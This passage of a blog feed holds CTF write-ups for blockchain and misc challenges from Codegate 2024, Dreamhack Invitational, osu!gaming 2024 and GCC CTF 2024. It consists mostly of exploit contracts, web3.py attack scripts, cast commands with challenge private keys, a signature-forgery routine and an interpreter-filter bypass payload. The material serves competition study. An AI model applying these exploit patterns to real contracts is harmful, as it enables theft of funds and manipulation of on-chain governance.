    constructor(address _setup) {
        setup = Setup(_setup);
        setup.withdraw();
        stakingManager = StakingManager(setup.stakingManager());
        token = Token(setup.token());
        token.approve(address(stakingManager), 1e18);
        lpToken = LpToken(stakingManager.LPTOKEN());
        uint rewardPerToken = uint(1e18) / uint(186400);
        uint amount = 1e18 / rewardPerToken;
        
        stakingManager.stake(1e18);
    }

    function solve() public {
        lpToken.burnFrom(address(setup), 100000e18);
        stakingManager.unstakeAll();
        token.transfer(address(setup), 10e18);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1717344982134&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from web3 import Web3
import json
import time
w3 = Web3(Web3.HTTPProvider(&quot;http://43.201.150.10:8888/7056dc15-ef8b-4d97-b12b-f9b527458d60&quot;))
#Check Connection
t=w3.is_connected()
print(t)

# Get private key 
prikey = '0xc2f5d87f9eec45cdd55b4ab902d0364452545437321a21f2519484eeffdbad72'
challenge_addr = &quot;0xD9456D27A0A7c8153126Da47d6077be1ea461DA9&quot;

# Create a signer wallet
PA=w3.eth.account.from_key(prikey)
Public_Address=PA.address
myAddr = Public_Address

f = open(&quot;solve.abi&quot;, &quot;r&quot;); contract_abi= f.read(); f.close()
f = open(&quot;solve.bin&quot;, &quot;r&quot;); contract_bytecode= f.read(); f.close()

contract = w3.eth.contract(abi=contract_abi, bytecode=contract_bytecode)
transaction = contract.constructor(challenge_addr).build_transaction(
    {
        &quot;chainId&quot;: w3.eth.chain_id,
        &quot;gasPrice&quot;: w3.eth.gas_price,
        &quot;from&quot;: Public_Address,
        &quot;nonce&quot;: w3.eth.get_transaction_count(Public_Address),
        &quot;value&quot;: 0
        # &quot;value&quot;: 0 
    }
)
sign_transaction = w3.eth.account.sign_transaction(transaction, private_key=prikey)
print(&quot;Deploying Contract!&quot;)
# Send the transaction
transaction_hash = w3.eth.send_raw_transaction(sign_transaction.rawTransaction)
# Wait for the transaction to be mined, and get the transaction receipt
print(&quot;Waiting for transaction to finish...&quot;)
transaction_receipt = w3.eth.wait_for_transaction_receipt(transaction_hash)
print(transaction_receipt)
print(f&quot;Done! Contract deployed to {transaction_receipt.contractAddress}&quot;)

cont_addr = transaction_receipt.contractAddress
contract = w3.eth.contract(address=cont_addr, abi=contract_abi, bytecode=contract_bytecode)

time.sleep(10)

while True:
    try:
        func_call = contract.functions[&quot;solve&quot;]().build_transaction({
            &quot;from&quot;: myAddr,
            &quot;nonce&quot;: w3.eth.get_transaction_count(myAddr),
            &quot;gasPrice&quot;: w3.eth.gas_price,
            &quot;chainId&quot;: w3.eth.chain_id,
        })
        signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
        result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
        transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
        print(transaction_receipt)
        break
    except:
        time.sleep(1)
        continue&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;dice or die&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #0d0d0d; text-align: start;&quot;&gt;we can extract the commitment by looking at the data in the Metamask transaction approval window&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1717345018298&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from web3 import Web3
import json
import time
w3 = Web3(Web3.HTTPProvider(&quot;https://public-en-baobab.klaytn.net&quot;))
#Check Connection
t=w3.is_connected()
print(t)

# Get private key 
prikey = ''
challenge_addr = &quot;0x0A3E3E87C2B51469E56404459078e043B12e6cD6&quot;

# Create a signer wallet
PA=w3.eth.account.from_key(prikey)
Public_Address=PA.address
myAddr = Public_Address

f = open(&quot;cont.abi&quot;, &quot;r&quot;); contract_abi= f.read(); f.close()

contract = w3.eth.contract(address=challenge_addr, abi=contract_abi)


print(w3.eth.get_balance(myAddr))
print(w3.eth.chain_id)
print(myAddr)


func_call = contract.functions[&quot;buyFlag&quot;](bytes.fromhex(&quot;c82b22c857d0d1aa9165ee05d162123e8882eca527969004fd717cc0fcbdcef0&quot;)).build_transaction({
    &quot;from&quot;: myAddr,
    &quot;nonce&quot;: w3.eth.get_transaction_count(myAddr),
    &quot;gasPrice&quot;: w3.eth.gas_price,
    &quot;chainId&quot;: w3.eth.chain_id,
})
signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
print(transaction_receipt)


fund = 99


while True:
    print(f&quot;current: {fund}&quot;)
    data = input(&quot;data: &quot;)
    # data = &quot;0x4082de6700000000000000000000000000000000000001fe032125bb753ea778a4db798a00000000000000000000000000000000000001a37c14be67ebb5f8db428136e7&quot;
    data = data[10:]
    index = int(&quot;0x&quot; + data[:64], 16)
    commitment = int(&quot;0x&quot; + data[64:], 16)


    func_call = contract.functions[&quot;bet&quot;](index, commitment % 6, fund).build_transaction({
        &quot;from&quot;: myAddr,
        &quot;nonce&quot;: w3.eth.get_transaction_count(myAddr),
        &quot;gasPrice&quot;: w3.eth.gas_price,
        &quot;chainId&quot;: w3.eth.chain_id,
    })
    signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
    result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)

    func_call = contract.functions[&quot;open&quot;](index, commitment).build_transaction({
        &quot;from&quot;: myAddr,
        &quot;nonce&quot;: w3.eth.get_transaction_count(myAddr),
        &quot;gasPrice&quot;: w3.eth.gas_price,
        &quot;chainId&quot;: w3.eth.chain_id,
    })
    signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
    result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)

    fund = (fund - 1) * 3&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;game$ay&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;the idea is 00 != 0.&lt;/p&gt;
&lt;pre id=&quot;code_1717345161888&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;            elif node.name.value == &quot;pwrite&quot;:
                n = args[0].value
                if n &amp;lt; 0 or n &amp;gt;= self.machine_count:
                    return WValue('bool', False)
                
                if node.arguments[0].value == str(0) and machine_id != 0: # bypass using str(00) 
                    return WValue('bool', False)

                self.wP(n, args[1].value)

                return WValue('bool', True)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1717345189682&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;import base64

print(base64.b64encode(b&quot;func solve() void {print(flag());}pwrite(00, [solve, solve, solve]);&quot;))

# 1. add new code
# 2. run 1
# 2. run 0&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;trends_notification&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;844&quot; data-origin-height=&quot;91&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c1scNM/btsHL4lsXUW/a7N3dFEYdSGhk7gaVXetmK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c1scNM/btsHL4lsXUW/a7N3dFEYdSGhk7gaVXetmK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c1scNM/btsHL4lsXUW/a7N3dFEYdSGhk7gaVXetmK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc1scNM%2FbtsHL4lsXUW%2Fa7N3dFEYdSGhk7gaVXetmK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;844&quot; height=&quot;91&quot; data-origin-width=&quot;844&quot; data-origin-height=&quot;91&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;547&quot; data-origin-height=&quot;747&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bvfuKB/btsHLbZ5Dj1/rD3Td2Vuxrlt3HEkNUKJX0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bvfuKB/btsHLbZ5Dj1/rD3Td2Vuxrlt3HEkNUKJX0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bvfuKB/btsHLbZ5Dj1/rD3Td2Vuxrlt3HEkNUKJX0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbvfuKB%2FbtsHLbZ5Dj1%2FrD3Td2Vuxrlt3HEkNUKJX0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;200&quot; height=&quot;273&quot; data-origin-width=&quot;547&quot; data-origin-height=&quot;747&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;thank you, H҈-̸m҈m̷e̵r̴ &amp;mdash;&amp;nbsp; and gpt.&lt;/p&gt;
&lt;pre id=&quot;code_1717345315959&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;def hex_to_bytes(hex_string):
    return bytes.fromhex(hex_string)

def bytes_to_string(byte_array):
    return byte_array.decode('utf-8')

def reverse_custom_operation(encrypted_str):
    arrayList = []
    i6 = 0
    c3 = 0
    while i6 &amp;lt; len(encrypted_str):
        char_at = encrypted_str[i6]
        i6 += 1
        # Subtract the incremental value and ensure it wraps correctly with % 256
        arrayList.append(chr((ord(char_at) - c3 + 256) % 256))
        c3 += 1
    return ''.join(arrayList)

def xor_strings(s, key):
    return ''.join(chr(ord(c) ^ ord(k)) for c, k in zip(s, key * (len(s) // len(key) + 1)))

# Given data
key = &quot;lollollollollollollollollollollollollollollollol&quot;
encrypted_string = &quot;0f010a0c0c121e1166656763236c68636c69676a6e6a20247524797679717675752b7b7b787b7b7c327d7fc288c2863e&quot;

# Step 1: Convert hex string to bytes
byte_array = hex_to_bytes(encrypted_string)

# Step 2: Convert bytes to string
intermediate_string = bytes_to_string(byte_array)

# Step 3: Reverse the custom operation
reversed_custom_string = reverse_custom_operation(intermediate_string)

# Step 4: XOR with the key to retrieve the original string
original_string = xor_strings(reversed_custom_string, key)

print(&quot;Original String:&quot;, original_string)&lt;/code&gt;&lt;/pre&gt;</description>
      <category>writeups</category>
      <author>gss1</author>
      <guid isPermaLink="true">https://gss1.tistory.com/187</guid>
      <comments>https://gss1.tistory.com/entry/codegate-2024-quals#entry187comment</comments>
      <pubDate>Mon, 3 Jun 2024 16:04:32 +0900</pubDate>
    </item>
    <item>
      <title>댓글 삭제</title>
      <link>https://gss1.tistory.com/entry/%EB%8C%93%EA%B8%80-%EC%82%AD%EC%A0%9C</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;스팸 공격을 당해서 모든 댓글을 삭제했습니다..&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;댓글 달아주셨던 분들 다 기억하고 있습니다 ㅎㅎ&lt;/p&gt;</description>
      <author>gss1</author>
      <guid isPermaLink="true">https://gss1.tistory.com/186</guid>
      <comments>https://gss1.tistory.com/entry/%EB%8C%93%EA%B8%80-%EC%82%AD%EC%A0%9C#entry186comment</comments>
      <pubDate>Fri, 10 May 2024 02:01:14 +0900</pubDate>
    </item>
    <item>
      <title>Dreamhack Invitational Quals</title>
      <link>https://gss1.tistory.com/entry/Dreamhack-Invitational-Quals</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;ExcellentMember&lt;/h2&gt;
&lt;pre id=&quot;code_1714729571565&quot; class=&quot;sol reasonml&quot; data-ke-language=&quot;sol&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import &quot;./Ownable.sol&quot;;

contract ExcellentMember is Ownable {
    bool public solved;

    mapping(address =&amp;gt; bool) public join;
    mapping(address =&amp;gt; bool) public excellentMember;

    address[] public excellentMembers;

    constructor() Ownable(msg.sender) {
        excellentMember[address(this)] = true;
        excellentMembers.push(address(this));    
    }

    function adminCall(address target, bytes memory data) external payable onlyOwner returns (bytes memory) {
        (bool success, bytes memory returnData) = target.call{value: msg.value}(data);
        require(success, &quot;Fail Low-Level call&quot;);
        return returnData;
    }

    function setJoin(bool opinion) external {
        join[msg.sender] = opinion;
    }

    function registryExcellentMember(address member) external { // adminCall로 진입
        require(!excellentMember[member], &quot;Already excellent member&quot;);
        require(join[member], &quot;Set join&quot;);
        require(excellentMember[msg.sender] == true, &quot;Only excellent member&quot;);
        excellentMember[member] = true;
        excellentMembers.push(member);
    }

    function solve() external {
        if (excellentMember[tx.origin] == true) {
            solved = true;
        }
    }
}
// {
//   &quot;message&quot;: {
//     &quot;level_contract_address&quot;: &quot;0xB45031cA2f47AEa0a3bC6AC6d6f941bb07E18451&quot;,
//     &quot;user_private_key&quot;: &quot;0x57c0b9d2af1583e8eafde9e4e3dee1ba4fffc2fb40bbf87f1950d748800090d8&quot;,
//     &quot;user_address&quot;: &quot;0xD2d66D72780D836919f3066d483f58890A035A08&quot;
//   }
// }
// http://host6.dreamhack.games:22022/383fe87a2e65/rpc
// cast send --private-key 0x57c0b9d2af1583e8eafde9e4e3dee1ba4fffc2fb40bbf87f1950d748800090d8 --rpc-url http://host6.dreamhack.games:22022/383fe87a2e65/rpc 0xB45031cA2f47AEa0a3bC6AC6d6f941bb07E18451 &quot;setJoin(bool)&quot; true
// 1. 외부에서 EoA로 setJoin하고
 
// 2. adminCall로 EoA excellentMember 등록
// forge create Solve --private-key 0x57c0b9d2af1583e8eafde9e4e3dee1ba4fffc2fb40bbf87f1950d748800090d8 --rpc-url http://host6.dreamhack.games:22022/383fe87a2e65/rpc --constructor-args 0xB45031cA2f47AEa0a3bC6AC6d6f941bb07E18451

// 3. EoA로 solve 호출
// cast send --private-key 0x57c0b9d2af1583e8eafde9e4e3dee1ba4fffc2fb40bbf87f1950d748800090d8 --rpc-url http://host6.dreamhack.games:22022/383fe87a2e65/rpc 0xB45031cA2f47AEa0a3bC6AC6d6f941bb07E18451 &quot;solve()&quot;

contract Solve {
    ExcellentMember public chall;

    constructor (address _chall) {
        chall = ExcellentMember(_chall);
        chall.transferOwnership(address(this));
        bytes memory data = abi.encodeWithSignature(&quot;registryExcellentMember(address)&quot;, address(msg.sender)); 
        chall.adminCall(address(chall), data);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;DreamIdle&lt;/h2&gt;
&lt;pre id=&quot;code_1714729597405&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from web3 import Web3
import json
import time
w3 = Web3(Web3.HTTPProvider(&quot;http://host6.dreamhack.games:22237/cd5c806e8a7e/rpc&quot;))
#Check Connection
t=w3.is_connected()
print(t)

# Get private key 
prikey = '0x3a2c14bc8b0a2fecad0093b1df71a5e7caf2d082b243b429550a7325a6b76a3f'
challenge_addr = &quot;0xb5f33218b54489b6Cf362Be88C40F54AcaA13642&quot;


initGame_0 = &quot;c869ce640000000000000000000000000000000000000000000000000000000000000000&quot;
initGame_1 = &quot;c869ce640000000000000000000000000000000000000000000000000000000000000001&quot;
sleep_1 = &quot;fa9d87130000000000000000000000000000000000000000000000000000000000000001&quot;
feed_0 = &quot;f59dfdfb0000000000000000000000000000000000000000000000000000000000000000&quot;
feed_1 = &quot;f59dfdfb0000000000000000000000000000000000000000000000000000000000000001&quot;
study_1 = &quot;202457340000000000000000000000000000000000000000000000000000000000000001&quot;
levelup_1 = &quot;0ce90ec20000000000000000000000000000000000000000000000000000000000000001&quot;
solve_1 = &quot;b8b8d35a0000000000000000000000000000000000000000000000000000000000000001&quot;

# Create a signer wallet
PA=w3.eth.account.from_key(prikey)
Public_Address=PA.address
myAddr = Public_Address

my_nonce = w3.eth.get_transaction_count(myAddr)
gasPrice = w3.eth.gas_price
chainId = w3.eth.chain_id

def send_tx(value, data):
    global my_nonce, chainId, gasPrice, myAddr
    func_call = {
        &quot;from&quot;: myAddr,
        &quot;to&quot;: challenge_addr,
        &quot;nonce&quot;: my_nonce,
        &quot;gasPrice&quot;: gasPrice,
        &quot;value&quot;: value,
        &quot;chainId&quot;: chainId,
        &quot;data&quot;: data,
        &quot;gas&quot;: 30000000
    }
    my_nonce = my_nonce + 1
    signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
    w3.eth.send_raw_transaction(signed_tx.rawTransaction)

send_tx(0, initGame_0)
send_tx(0, feed_0)
send_tx(0, initGame_1)

for i in range(150):
    send_tx(0, feed_1)
    send_tx(0, study_1)
    send_tx(0, study_1)
    send_tx(0, study_1)
    send_tx(0, sleep_1)
    print(i)

send_tx(0, levelup_1)
print(&quot;level_up&quot;)

for i in range(150):
    send_tx(0, feed_1)
    send_tx(0, study_1)
    send_tx(0, study_1)
    send_tx(0, study_1)
    send_tx(0, sleep_1)
    print(i)

send_tx(0, levelup_1)
send_tx(10**18, solve_1)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;MagicVote&lt;/h2&gt;
&lt;pre id=&quot;code_1714729619381&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from web3 import Web3, HTTPProvider
from eth_account import Account
from eth_account.messages import encode_defunct


w3 = Web3(Web3.HTTPProvider(&quot;http://host3.dreamhack.games:11867/d738f32dc72c/rpc&quot;))


#Check Connection
t=w3.is_connected()
print(t)


# Get private key 
prikey = '0xb18184dd52cc15b7a86e2fc22e13f28d32162596b8c19a7a918cdd6db1b319b6'
challenge_addr = &quot;0xbf8736b83ee325A550F06918aE59D5bB63C9D807&quot;

PA=w3.eth.account.from_key(prikey)
Public_Address=PA.address
myAddr = Public_Address





f = open(&quot;abi.json&quot;, &quot;r&quot;); contract_abi= f.read(); f.close()

contract = w3.eth.contract(abi=contract_abi, address=challenge_addr)


# 개인 키 설정
private_key = '0x0000000000000000000000000000000000000000000000000000000000000001'

# 함수 시그니처와 데이터 준비
function_signature = bytes.fromhex('9abe73cf')

# 데이터 포맷에 맞게 인코딩
data = function_signature + b'\x00' * 32 + b'\x01'.rjust(32, b'\x00')

print(data.hex())



import os
from ecdsa import SigningKey, SECP256k1, util
from Crypto.Hash import _keccak
sk = SigningKey.from_string(bytes.fromhex(private_key[2:]), curve=SECP256k1)

for _ in range(6):

    # 메시지 준비

    # 직접 지정한 nonce 값
    nonce = os.urandom(32)  

    # nonce를 사용하여 서명 생성
    signature = sk.sign_digest(w3.keccak(data))

    r = int.from_bytes(signature[:32], byteorder='big')
    s = int.from_bytes(signature[32:64], byteorder='big')

    for v in [27, 28]:
            pub_key = Account._recover_hash(message_hash=w3.keccak(data), vrs=(v, r, s))
            if pub_key == Account.from_key(bytes.fromhex(private_key[2:])).address:
                print(&quot;Match found with v:&quot;, v)
                print(f&quot;r: {hex(r)}, s: {hex(s)}, v: {v}&quot;)
                func_call = contract.functions[&quot;vote&quot;](0, True, v, signature[:32], signature[32:64]).build_transaction({
                    &quot;from&quot;: myAddr,
                    &quot;nonce&quot;: w3.eth.get_transaction_count(myAddr),
                    &quot;gasPrice&quot;: w3.eth.gas_price,
                    &quot;chainId&quot;: w3.eth.chain_id,
                })
                signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
                result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
                transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
                print(transaction_receipt)
                break&lt;/code&gt;&lt;/pre&gt;</description>
      <category>writeups</category>
      <author>gss1</author>
      <guid isPermaLink="true">https://gss1.tistory.com/185</guid>
      <comments>https://gss1.tistory.com/entry/Dreamhack-Invitational-Quals#entry185comment</comments>
      <pubDate>Fri, 3 May 2024 18:47:21 +0900</pubDate>
    </item>
    <item>
      <title>osu!gaming 2024 - blockchain</title>
      <link>https://gss1.tistory.com/entry/osugaming-2024-blockchain</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;rankpls&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1709522203684&quot; class=&quot;rust&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;    pub fn initialize(ctx: Context&amp;lt;Initialize&amp;gt;) -&amp;gt; Result&amp;lt;()&amp;gt; {
        // your instruction goes here

        let cpi_accounts = chall::cpi::accounts::Init {
            config: ctx.accounts.config.to_account_info(),
            admin: ctx.accounts.mapper.to_account_info(),
            system_program: ctx.accounts.system_program.to_account_info(),
        };
        let cpi_ctx = CpiContext::new(ctx.accounts.chall.to_account_info(), cpi_accounts);
        chall::cpi::init(cpi_ctx)?;

        let cpi_accounts = chall::cpi::accounts::AddBn {
            config: ctx.accounts.config.to_account_info(),
            admin: ctx.accounts.mapper.to_account_info(),
            bn: ctx.accounts.mapper.to_account_info(),
        };
        let cpi_ctx = CpiContext::new(ctx.accounts.chall.to_account_info(), cpi_accounts);
        chall::cpi::add_bn(cpi_ctx)?;

        let cpi_accounts = chall::cpi::accounts::RankMap {
            config: ctx.accounts.config.to_account_info(),
            map: ctx.accounts.map.to_account_info(),
            bn: ctx.accounts.mapper.to_account_info(),
        };
        let cpi_ctx = CpiContext::new(ctx.accounts.chall.to_account_info(), cpi_accounts);
        chall::cpi::rank_map(cpi_ctx)?;


        Ok(())
    }&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;scorechain&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1709522224288&quot; class=&quot;rust&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;    pub fn initialize(ctx: Context&amp;lt;Initialize&amp;gt;) -&amp;gt; Result&amp;lt;()&amp;gt; {
        let cpi_accounts = chall::cpi::accounts::SubmitPlay {
            db: ctx.accounts.db.to_account_info(),
            player: ctx.accounts.user.to_account_info(),
            system_program: ctx.accounts.system_program.to_account_info(),
        };
        let cpi_ctx = CpiContext::new(ctx.accounts.chall.to_account_info(), cpi_accounts);
        chall::cpi::submit_play(cpi_ctx, chall::Play {
            map: String::from(&quot;blue zenith&quot;),
            player: String::from(&quot;chocomint&quot;),
            pp: 728,
            bounty: 1,
        },)?;
        Ok(())
    }&lt;/code&gt;&lt;/pre&gt;</description>
      <category>writeups</category>
      <author>gss1</author>
      <guid isPermaLink="true">https://gss1.tistory.com/184</guid>
      <comments>https://gss1.tistory.com/entry/osugaming-2024-blockchain#entry184comment</comments>
      <pubDate>Mon, 4 Mar 2024 12:17:39 +0900</pubDate>
    </item>
    <item>
      <title>GCC CTF 2024 - web3</title>
      <link>https://gss1.tistory.com/entry/GCC-CTF-2024-web3</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://ctftime.org/event/2251&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://ctftime.org/event/2251&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1709521558540&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;profile&quot; data-og-title=&quot;GCC CTF 2024&quot; data-og-description=&quot;TOP 1 : 750&amp;euro; Cash, 5x 1 Month HTB Prolabs, 4x Root-me Premium + 5x 30&amp;euro; shop voucher TOP 2 : 500&amp;euro; Cash, 5x 1 Year HTB VIP+, 3x Root-me Premium + 5x 20&amp;euro; shop voucher TOP 3 : 300&amp;euro; Cash, 5x 6 Months HTB VIP, 2x Root-me Premium + 5x 10&amp;euro; shop voucher&quot; data-og-host=&quot;ctftime.org&quot; data-og-source-url=&quot;https://ctftime.org/event/2251&quot; data-og-url=&quot;https://ctftime.org/event/2251/&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://ctftime.org/event/2251&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://ctftime.org/event/2251&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;GCC CTF 2024&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;TOP 1 : 750&amp;euro; Cash, 5x 1 Month HTB Prolabs, 4x Root-me Premium + 5x 30&amp;euro; shop voucher TOP 2 : 500&amp;euro; Cash, 5x 1 Year HTB VIP+, 3x Root-me Premium + 5x 20&amp;euro; shop voucher TOP 3 : 300&amp;euro; Cash, 5x 6 Months HTB VIP, 2x Root-me Premium + 5x 10&amp;euro; shop voucher&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;ctftime.org&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;synthatsu_katana_thief&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1709521628842&quot; class=&quot;sol&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;contract Solve{
    Challenge public challenge;
    KatanaSale public katanaSale;
    constructor(address _challenge) {
        challenge = Challenge(_challenge);
